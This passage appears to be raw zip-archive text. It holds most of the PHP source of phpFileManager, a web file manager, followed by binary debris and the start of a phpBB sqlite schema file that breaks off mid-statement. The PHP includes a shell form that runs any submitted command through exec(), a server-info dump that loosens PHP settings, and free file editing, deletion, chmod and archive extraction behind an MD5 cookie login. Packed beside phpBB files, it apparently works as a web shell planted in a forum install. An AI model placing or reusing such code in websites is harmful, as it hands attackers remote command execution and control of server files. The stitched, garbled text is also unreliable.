'doc' => 'application/msword', 'docx' => 'application/msword', 'word' => 'application/msword', 'xl' => 'application/excel', 'xls' => 'application/excel', 'xlsx' => 'application/excel', 'eml' => 'message/rfc822' ); return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)]; } function view(){ global $doc_root,$path_info,$url_info,$current_dir,$islinux,$filename,$passthru; if (intval($passthru)){ $file = $current_dir.$filename; if(file_exists($file)){ $is_denied = false; foreach($download_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ if ($fh = fopen("$file", "rb")){ fclose($fh); $ext = pathinfo($file, PATHINFO_EXTENSION); $ctype = get_mime_type($ext); if ($ctype == "application/octet-stream") $ctype = "text/plain"; header("Pragma: public"); header("Expires: 0"); header("Connection: close"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Type: ".$ctype); header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($file)); @readfile($file); exit(); } else alert(et('ReadDenied').": ".$file); } else alert(et('ReadDenied').": ".$file); } else alert(et('FileNotFound').": ".$file); echo " "; } else { html_header(); echo ""; $is_reachable_thru_webserver = (stristr($current_dir,$doc_root)!==false); if ($is_reachable_thru_webserver){ $url = $url_info["scheme"]."://".$url_info["host"]; if (strlen($url_info["port"])) $url .= ":".$url_info["port"]; // Malditas variaveis de sistema!! No windows doc_root é sempre em lowercase... cadê o str_ireplace() ?? $url .= str_replace($doc_root,"","/".$current_dir).$filename; } else { $url = addslashes($path_info["basename"])."?action=4¤t_dir=".addslashes($current_dir)."&filename=".addslashes($filename)."&passthru=1"; } echo " \n"; } } function edit_file_form(){ global $current_dir,$filename,$file_data,$save_file,$path_info; $file = $current_dir.$filename; if ($save_file){ $fh=fopen($file,"w"); if(get_magic_quotes_gpc()) $file_data = stripslashes($file_data); fputs($fh,$file_data,strlen($file_data)); fclose($fh); } $fh=fopen($file,"r"); $file_data=fread($fh, filesize($file)); fclose($fh); html_header(); echo "
".$file."
\n"; } function config_form(){ global $cfg; global $current_dir,$fm_self,$doc_root,$path_info,$fm_current_root,$lang,$error_reporting,$version; global $config_action,$newpass,$newlang,$newerror,$newfm_root; $Warning = ""; switch ($config_action){ case 1: if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){ $data = ""; while (!feof($fh)) $data .= fread($fh,1024); fclose($fh); $data = unserialize($data); $ChkVerWarning = " "; if (is_array($data)&&count($data)){ $ChkVerWarning .= " \"SourceForge.net "; if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "".et('ChkVerAvailable').""; else $ChkVerWarning .= "".et('ChkVerNotAvailable').""; } else $ChkVerWarning .= "".et('ChkVerError').""; } else $ChkVerWarning .= "".et('ChkVerError').""; break; case 2: $reload = false; if ($cfg->data['lang'] != $newlang){ $cfg->data['lang'] = $newlang; $lang = $newlang; $reload = true; } if ($cfg->data['error_reporting'] != $newerror){ $cfg->data['error_reporting'] = $newerror; $error_reporting = $newerror; $reload = true; } $newfm_root = format_path($newfm_root); if ($cfg->data['fm_root'] != $newfm_root){ $cfg->data['fm_root'] = $newfm_root; if (strlen($newfm_root)) $current_dir = $newfm_root; else $current_dir = $path_info["dirname"]."/"; setcookie("fm_current_root", $newfm_root , 0 , "/"); $reload = true; } $cfg->save(); if ($reload){ reloadframe("window.opener.parent",2); reloadframe("window.opener.parent",3); } $Warning1 = et('ConfSaved')."..."; break; case 3: if ($cfg->data['auth_pass'] != md5($newpass)){ $cfg->data['auth_pass'] = md5($newpass); setcookie("loggedon", md5($newpass) , 0 , "/"); } $cfg->save(); $Warning2 = et('PassSaved')."..."; break; } html_header(); echo "\n"; echo "
".uppercase(et('Configurations'))."
"; if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings']; echo " "; echo "
".et('Version').":$version (".get_size($fm_self).")
".et('Website').":http://phpfm.sf.net   
Like this project?
".et('DocRoot').":".$doc_root."
".et('FLRoot').":data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\">
".et('Lang').":
".et('ErrorReport').":
"; if (strlen($Warning1)) echo " $Warning1"; echo "
".et('Pass').":
"; if (strlen($Warning2)) echo " $Warning2"; echo "
"; echo "\n"; } function shell_form(){ global $current_dir,$shell_form,$cmd_arg,$path_info; $data_out = ""; if (strlen($cmd_arg)){ exec($cmd_arg,$mat); if (count($mat)) $data_out = trim(implode("\n",$mat)); } switch ($shell_form){ case 1: html_header(); echo "
"; break; case 2: html_header(); echo " "; echo " "; echo "
"; break; default: html_header(" "); echo " "; } } function server_info(){ if (!@phpinfo()) echo et('NoPhpinfo')."..."; echo "

"; $a=ini_get_all(); $output=""; $output.=""; while(list($key, $value)=each($a)) { list($k, $v)= each($a[$key]); $output.=""; } $output.="
ini_get_all()
$key$v
"; echo $output; echo "

"; $output=""; $output.=""; foreach ($_SERVER as $k=>$v) { $output.=""; } $output.="
\$_SERVER
$k$v
"; echo $output; echo "

"; echo ""; $safe_mode=trim(ini_get("safe_mode")); if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false; else $safe_mode=true; $is_windows_server = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN'); echo "
".php_uname(); echo "
safe_mode".($safe_mode?"on":"off"); if ($is_windows_server) echo "
sisopWindows
"; else echo "
sisopLinux
"; echo "


"; $display_errors=ini_get("display_errors"); $ignore_user_abort = ignore_user_abort(); $max_execution_time = ini_get("max_execution_time"); $upload_max_filesize = ini_get("upload_max_filesize"); $memory_limit=ini_get("memory_limit"); $output_buffering=ini_get("output_buffering"); $default_socket_timeout=ini_get("default_socket_timeout"); $allow_url_fopen = ini_get("allow_url_fopen"); $magic_quotes_gpc = ini_get("magic_quotes_gpc"); ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); ini_set("upload_max_filesize","10M"); ini_set("memory_limit","20M"); ini_set("output_buffering",0); ini_set("default_socket_timeout",30); ini_set("allow_url_fopen",1); ini_set("magic_quotes_gpc",0); echo "
GetSetGet"; echo "
display_errors$display_errors0".ini_get("display_errors"); echo "
ignore_user_abort".($ignore_user_abort?"on":"off")."on".(ignore_user_abort()?"on":"off"); echo "
max_execution_time$max_execution_time0".ini_get("max_execution_time"); echo "
upload_max_filesize$upload_max_filesize10M".ini_get("upload_max_filesize"); echo "
memory_limit$memory_limit20M".ini_get("memory_limit"); echo "
output_buffering$output_buffering0".ini_get("output_buffering"); echo "
default_socket_timeout$default_socket_timeout30".ini_get("default_socket_timeout"); echo "
allow_url_fopen$allow_url_fopen1".ini_get("allow_url_fopen"); echo "
magic_quotes_gpc$magic_quotes_gpc0".ini_get("magic_quotes_gpc"); echo "


"; echo " "; echo "\n"; } // +-------------------------------------------------- // | Session // +-------------------------------------------------- function logout(){ setcookie("loggedon",0,0,"/"); login_form(); } function login(){ global $pass,$auth_pass,$path_info; if (md5(trim($pass)) == $auth_pass){ setcookie("loggedon",$auth_pass,0,"/"); header ("Location: ".$path_info["basename"].""); } else header ("Location: ".$path_info["basename"]."?erro=1"); } function login_form(){ global $erro,$auth_pass,$path_info; html_header(); echo "\n"; if ($auth_pass != md5("")){ echo " "; if (strlen($erro)) echo " "; echo "
".et('FileMan')."
".et('TypePass').".
".et('InvPass').".
"; } else { echo "
".et('FileMan')."
"; } echo "\n"; } function frame3(){ global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time; global $dir_dest,$current_dir,$dir_before; global $selected_file_list,$selected_dir_list,$old_name,$new_name; global $action,$or_by,$order_dir_list_by; if (!isset($order_dir_list_by)){ $order_dir_list_by = "1A"; setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/"); } elseif (strlen($or_by)){ $order_dir_list_by = $or_by; setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/"); } html_header(); echo "\n"; if ($action){ switch ($action){ case 1: // create dir if (strlen($cmd_arg)){ $cmd_arg = format_path($current_dir.$cmd_arg); if (!file_exists($cmd_arg)){ @mkdir($cmd_arg,0755); @chmod($cmd_arg,0755); reloadframe("parent",2,"&ec_dir=".$cmd_arg); } else alert(et('FileDirExists')."."); } break; case 2: // create arq if (strlen($cmd_arg)){ $cmd_arg = $current_dir.$cmd_arg; if (!file_exists($cmd_arg)){ if ($fh = @fopen($cmd_arg, "w")){ @fclose($fh); } @chmod($cmd_arg,0644); } else alert(et('FileDirExists')."."); } break; case 3: // rename arq ou dir if ((strlen($old_name))&&(strlen($new_name))){ rename($current_dir.$old_name,$current_dir.$new_name); if (is_dir($current_dir.$new_name)) reloadframe("parent",2); } break; case 4: // delete sel if(strstr($current_dir,$fm_current_root)){ if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$xset_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3)); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$xadd_files($selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$xadd_files($selected_dir_list[$x]); } } } $zipfile->create_archive(); } unset($zipfile); } break; case 72: // decompress arq if (strlen($cmd_arg)){ if (file_exists($current_dir.$cmd_arg)){ $zipfile=false; if (strstr($cmd_arg,".zip")) zip_extract(); elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg); elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg); if ($zipfile){ $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1)); $zipfile->extract_files(); } unset($zipfile); reloadframe("parent",2); } } break; case 8: // delete arq/dir if (strlen($cmd_arg)){ if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg); if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2); } break; case 9: // CHMOD if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){ if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg; else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3); $new_mod = octdec($chmod_arg); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x\n"; } function frame2(){ global $expanded_dir_list,$ec_dir; if (!isset($expanded_dir_list)) $expanded_dir_list = ""; if (strlen($ec_dir)){ if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list); else $expanded_dir_list .= ":".$ec_dir; setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/"); } show_tree(); } function frameset(){ global $path_info,$leftFrameWidth; if (!isset($leftFrameWidth)) $leftFrameWidth = 300; html_header(); echo " "; } // +-------------------------------------------------- // | Open Source Contributions // +-------------------------------------------------- /*------------------------------------------------- | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0 | By Devin Doucette | Copyright (c) 2004 Devin Doucette | Email: darksnoopy@shaw.ca +-------------------------------------------------- | Email bugs/suggestions to darksnoopy@shaw.ca +-------------------------------------------------- | This script has been created and released under | the GNU GPL and is free to use and redistribute | only if this copyright statement is not removed +-------------------------------------------------- | Limitations: | - Only USTAR archives are officially supported for extraction, but others may work. | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have | been compressed by either bzip2 or gzip. For greater support, use the functions | bzopen and gzopen respectively for bzip2 and gzip extraction. | - Zip extraction is not supported due to the wide variety of algorithms that may be | used for compression and newer features such as encryption. +-------------------------------------------------- */ class archive { function archive($name) { $this->options = array( 'basedir'=>".", 'name'=>$name, 'prepend'=>"", 'inmemory'=>0, 'overwrite'=>0, 'recurse'=>1, 'storepaths'=>1, 'level'=>3, 'method'=>1, 'sfx'=>"", 'type'=>"", 'comment'=>"" ); $this->files = array(); $this->exclude = array(); $this->storeonly = array(); $this->error = array(); } function set_options($options) { foreach($options as $key => $value) { $this->options[$key] = $value; } if(!empty($this->options['basedir'])) { $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']); $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']); $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']); } if(!empty($this->options['name'])) { $this->options['name'] = str_replace("\\","/",$this->options['name']); $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']); } if(!empty($this->options['prepend'])) { $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']); $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']); $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']); $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/"; } } function create_archive() { $this->make_list(); if($this->options['inmemory'] == 0) { $Pwd = getcwd(); chdir($this->options['basedir']); if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""))) { $this->error[] = "File {$this->options['name']} already exists."; chdir($Pwd); return 0; } else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+")) { chdir($Pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($Pwd); return 0; } } else { $this->archive = ""; } switch($this->options['type']) { case "zip": if(!$this->create_zip()) { $this->error[] = "Could not create zip file."; return 0; } break; case "bzip": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if(!$this->create_bzip()) { $this->error[] = "Could not create bzip2 file."; return 0; } break; case "gzip": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if(!$this->create_gzip()) { $this->error[] = "Could not create gzip file."; return 0; } break; case "tar": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } } if($this->options['inmemory'] == 0) { fclose($this->archive); @chmod($this->options['name'],0644); if($this->options['type'] == "gzip" || $this->options['type'] == "bzip") { unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp"); } } } function add_data($data) { if($this->options['inmemory'] == 0) { fwrite($this->archive,$data); } else { $this->archive .= $data; } } function make_list() { if(!empty($this->exclude)) { foreach($this->files as $key => $value) { foreach($this->exclude as $current) { if($value['name'] == $current['name']) { unset($this->files[$key]); } } } } if(!empty($this->storeonly)) { foreach($this->files as $key => $value) { foreach($this->storeonly as $current) { if($value['name'] == $current['name']) { $this->files[$key]['method'] = 0; } } } } unset($this->exclude,$this->storeonly); } function add_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->files[] = $current; } } function exclude_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->exclude[] = $current; } } function store_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->storeonly[] = $current; } } function list_files($list) { if(!is_array($list)) { $temp = $list; $list = array($temp); unset($temp); } $files = array(); $Pwd = getcwd(); chdir($this->options['basedir']); foreach($list as $current) { $current = str_replace("\\","/",$current); $current = preg_replace("/\/+/","/",$current); $current = preg_replace("/\/$/","",$current); if(strstr($current,"*")) { $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current); $regex = str_replace("*",".*",$regex); $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : "."; $temp = $this->parse_dir($dir); foreach($temp as $current2) { if(preg_match("/^{$regex}$/i",$current2['name'])) { $files[] = $current2; } } unset($regex,$dir,$temp,$current); } else if(@is_dir($current)) { $temp = $this->parse_dir($current); foreach($temp as $file) { $files[] = $file; } unset($temp,$file); } else if(@file_exists($current)) { $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))? substr($current,strrpos($current,"/") + 1) : $current),'type'=>0, 'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current)); } } chdir($Pwd); unset($current,$Pwd); usort($files,array("archive","sort_files")); return $files; } function parse_dir($dirname) { if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname)) { $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))? substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname))); } else { $files = array(); } $dir = @opendir($dirname); while($file = @readdir($dir)) { if($file == "." || $file == "..") { continue; } else if(@is_dir($dirname."/".$file)) { if(empty($this->options['recurse'])) { continue; } $temp = $this->parse_dir($dirname."/".$file); foreach($temp as $file2) { $files[] = $file2; } } else if(@file_exists($dirname."/".$file)) { $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))? substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0, 'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file)); } } @closedir($dir); return $files; } function sort_files($a,$b) { if($a['type'] != $b['type']) { return $a['type'] > $b['type']? -1 : 1; } else if($a['type'] == 5) { return strcmp(strtolower($a['name']),strtolower($b['name'])); } else { if($a['ext'] != $b['ext']) { return strcmp($a['ext'],$b['ext']); } else if($a['stat'][7] != $b['stat'][7]) { return $a['stat'][7] > $b['stat'][7]? -1 : 1; } else { return strcmp(strtolower($a['name']),strtolower($b['name'])); } } return 0; } function download_file() { if($this->options['inmemory'] == 0) { $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster."; return; } switch($this->options['type']) { case "zip": header("Content-type:application/zip"); break; case "bzip": header("Content-type:application/x-compressed"); break; case "gzip": header("Content-type:application/x-compressed"); break; case "tar": header("Content-type:application/x-tar"); } $header = "Content-disposition: attachment; filename=\""; $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name']; $header .= "\""; header($header); header("Content-length: " . strlen($this->archive)); header("Content-transfer-encoding: binary"); header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); header("Expires: 0"); print($this->archive); } } class tar_file extends archive { function tar_file($name) { $this->archive($name); $this->options['type'] = "tar"; } function create_tar() { $Pwd = getcwd(); chdir($this->options['basedir']); foreach($this->files as $current) { if($current['name'] == $this->options['name']) { continue; } if(strlen($current['name2']) > 99) { $Path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1); $current['name2'] = substr($current['name2'],strlen($Path)); if(strlen($Path) > 154 || strlen($current['name2']) > 99) { $this->error[] = "Could not add {$Path}{$current['name2']} to archive because the filename is too long."; continue; } } $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]), sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])), sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])), " ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($Path)? $Path : "",""); $checksum = 0; for($i = 0; $i < 512; $i++) { $checksum += ord(substr($block,$i,1)); } $checksum = pack("a8",sprintf("%6s ",decoct($checksum))); $block = substr_replace($block,$checksum,148,8); if($current['stat'][7] == 0) { $this->add_data($block); } else if($fp = @fopen($current['name'],"rb")) { $this->add_data($block); while($temp = fread($fp,1048576)) { $this->add_data($temp); } if($current['stat'][7] % 512 > 0) { $temp = ""; for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++) { $temp .= "\0"; } $this->add_data($temp); } fclose($fp); } else { $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } } $this->add_data(pack("a512","")); chdir($Pwd); return 1; } function extract_files() { $Pwd = getcwd(); chdir($this->options['basedir']); if($fp = $this->open_archive()) { if($this->options['inmemory'] == 1) { $this->files = array(); } while($block = fread($fp,512)) { $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block); $file = array( 'name'=>$temp['prefix'] . $temp['name'], 'stat'=>array( 2=>$temp['mode'], 4=>octdec($temp['uid']), 5=>octdec($temp['gid']), 7=>octdec($temp['size']), 9=>octdec($temp['mtime']), ), 'checksum'=>octdec($temp['checksum']), 'type'=>$temp['type'], 'magic'=>$temp['magic'], ); if($file['checksum'] == 0x00000000) { break; } else if($file['magic'] != "ustar") { $this->error[] = "This script does not support extracting this type of tar file."; break; } $block = substr_replace($block," ",148,8); $checksum = 0; for($i = 0; $i < 512; $i++) { $checksum += ord(substr($block,$i,1)); } if($file['checksum'] != $checksum) { $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt."; } if($this->options['inmemory'] == 1) { $file['data'] = fread($fp,$file['stat'][7]); fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512)); unset($file['checksum'],$file['magic']); $this->files[] = $file; } else { if($file['type'] == 5) { if(!is_dir($file['name'])) { mkdir($file['name'],0755); //mkdir($file['name'],$file['stat'][2]); //chown($file['name'],$file['stat'][4]); //chgrp($file['name'],$file['stat'][5]); } } else if($this->options['overwrite'] == 0 && file_exists($file['name'])) { $this->error[] = "{$file['name']} already exists."; } else if($new = @fopen($file['name'],"wb")) { fwrite($new,fread($fp,$file['stat'][7])); fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512)); fclose($new); @chmod($file['name'],0644); //chmod($file['name'],$file['stat'][2]); //chown($file['name'],$file['stat'][4]); //chgrp($file['name'],$file['stat'][5]); } else { $this->error[] = "Could not open {$file['name']} for writing."; } } unset($file); } } else { $this->error[] = "Could not open file {$this->options['name']}"; } chdir($Pwd); } function open_archive() { return @fopen($this->options['name'],"rb"); } } class gzip_file extends tar_file { function gzip_file($name) { $this->tar_file($name); $this->options['type'] = "gzip"; } function create_gzip() { if($this->options['inmemory'] == 0) { $Pwd = getcwd(); chdir($this->options['basedir']); if($fp = gzopen($this->options['name'],"wb{$this->options['level']}")) { fseek($this->archive,0); while($temp = fread($this->archive,1048576)) { gzwrite($fp,$temp); } gzclose($fp); chdir($Pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($Pwd); return 0; } } else { $this->archive = gzencode($this->archive,$this->options['level']); } return 1; } function open_archive() { return @gzopen($this->options['name'],"rb"); } } class bzip_file extends tar_file { function bzip_file($name) { $this->tar_file($name); $this->options['type'] = "bzip"; } function create_bzip() { if($this->options['inmemory'] == 0) { $Pwd = getcwd(); chdir($this->options['basedir']); if($fp = bzopen($this->options['name'],"wb")) { fseek($this->archive,0); while($temp = fread($this->archive,1048576)) { bzwrite($fp,$temp); } bzclose($fp); chdir($Pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($Pwd); return 0; } } else { $this->archive = bzcompress($this->archive,$this->options['level']); } return 1; } function open_archive() { return @bzopen($this->options['name'],"rb"); } } class zip_file extends archive { function zip_file($name) { $this->archive($name); $this->options['type'] = "zip"; } function create_zip() { $files = 0; $offset = 0; $central = ""; if(!empty($this->options['sfx'])) { if($fp = @fopen($this->options['sfx'],"rb")) { $temp = fread($fp,filesize($this->options['sfx'])); fclose($fp); $this->add_data($temp); $offset += strlen($temp); unset($temp); } else { $this->error[] = "Could not open sfx module from {$this->options['sfx']}."; } } $Pwd = getcwd(); chdir($this->options['basedir']); foreach($this->files as $current) { if($current['name'] == $this->options['name']) { continue; } $translate = array('Ç'=>pack("C",128),'ü'=>pack("C",129),'é'=>pack("C",130),'â'=>pack("C",131),'ä'=>pack("C",132), 'à'=>pack("C",133),'Ã¥'=>pack("C",134),'ç'=>pack("C",135),'ê'=>pack("C",136),'ë'=>pack("C",137), 'è'=>pack("C",138),'ï'=>pack("C",139),'î'=>pack("C",140),'ì'=>pack("C",141),'Ä'=>pack("C",142), 'Ã…'=>pack("C",143),'É'=>pack("C",144),'æ'=>pack("C",145),'Æ'=>pack("C",146),'ô'=>pack("C",147), 'ö'=>pack("C",148),'ò'=>pack("C",149),'û'=>pack("C",150),'ù'=>pack("C",151),'_'=>pack("C",152), 'Ö'=>pack("C",153),'Ü'=>pack("C",154),'£'=>pack("C",156),'Â¥'=>pack("C",157),'_'=>pack("C",158), 'Æ’'=>pack("C",159),'á'=>pack("C",160),'í'=>pack("C",161),'ó'=>pack("C",162),'ú'=>pack("C",163), 'ñ'=>pack("C",164),'Ñ'=>pack("C",165)); $current['name2'] = strtr($current['name2'],$translate); $timedate = explode(" ",date("Y n j G i s",$current['stat'][9])); $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) | ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]); $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate); if($current['stat'][7] == 0 && $current['type'] == 5) { $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000); $block .= $current['name2'] . "/"; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, 0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset); $central .= $current['name2'] . "/"; $files++; $offset += (31 + strlen($current['name2'])); } else if($current['stat'][7] == 0) { $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000); $block .= $current['name2']; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, 0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2'])); } else if($fp = @fopen($current['name'],"rb")) { $temp = fread($fp,$current['stat'][7]); fclose($fp); $crc32 = crc32($temp); if(!isset($current['method']) && $this->options['method'] == 1) { $temp = gzcompress($temp,$this->options['level']); $size = strlen($temp) - 6; $temp = substr($temp,2,$size); } else { $size = strlen($temp); } $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000); $block .= $current['name2']; $this->add_data($block); $this->add_data($temp); unset($temp); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2']) + $size); } else { $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } } $this->add_data($central); $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset, !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000)); if(!empty($this->options['comment'])) { $this->add_data($this->options['comment']); } chdir($Pwd); return 1; } } // +-------------------------------------------------- // | THE END // +-------------------------------------------------- ?>PK‰† [É56ðj j schemas/sqlite_schema.sqlnuW+A„¶# DO NOT EDIT THIS FILE, IT IS GENERATED # # To change the contents of this file, edit # phpBB/develop/create_schema_files.php and # run it. BEGIN TRANSACTION; # Table: 'phpbb_attachments' CREATE TABLE phpbb_attachments ( attach_id INTEGER PRIMARY KEY NOT NULL , post_msg_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', in_message INTEGER UNSIGNED NOT NULL DEFAULT '0', poster_id INTEGER UNSIGNED NOT NULL DEFAULT '0', is_orphan INTEGER UNSIGNED NOT NULL DEFAULT '1', physical_filename varchar(255) NOT NULL DEFAULT '', real_filename varchar(255) NOT NULL DEFAULT '', download_count INTEGER UNSIGNED NOT NULL DEFAULT '0', attach_comment text(65535) NOT NULL DEFAULT '', extension varchar(100) NOT NULL DEFAULT '', mimetype varchar(100) NOT NULL DEFAULT '', filesize INTEGER UNSIGNED NOT NULL DEFAULT '0', filetime INTEGER UNSIGNED NOT NULL DEFAULT '0', thumbnail INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_attachments_filetime ON phpbb_attachments (filetime); CREATE INDEX phpbb_attachments_post_msg_id ON phpbb_attachments (post_msg_id); CREATE INDEX phpbb_attachments_topic_id ON phpbb_attachments (topic_id); CREATE INDEX phpbb_attachments_poster_id ON phpbb_attachments (poster_id); CREATE INDEX phpbb_attachments_is_orphan ON 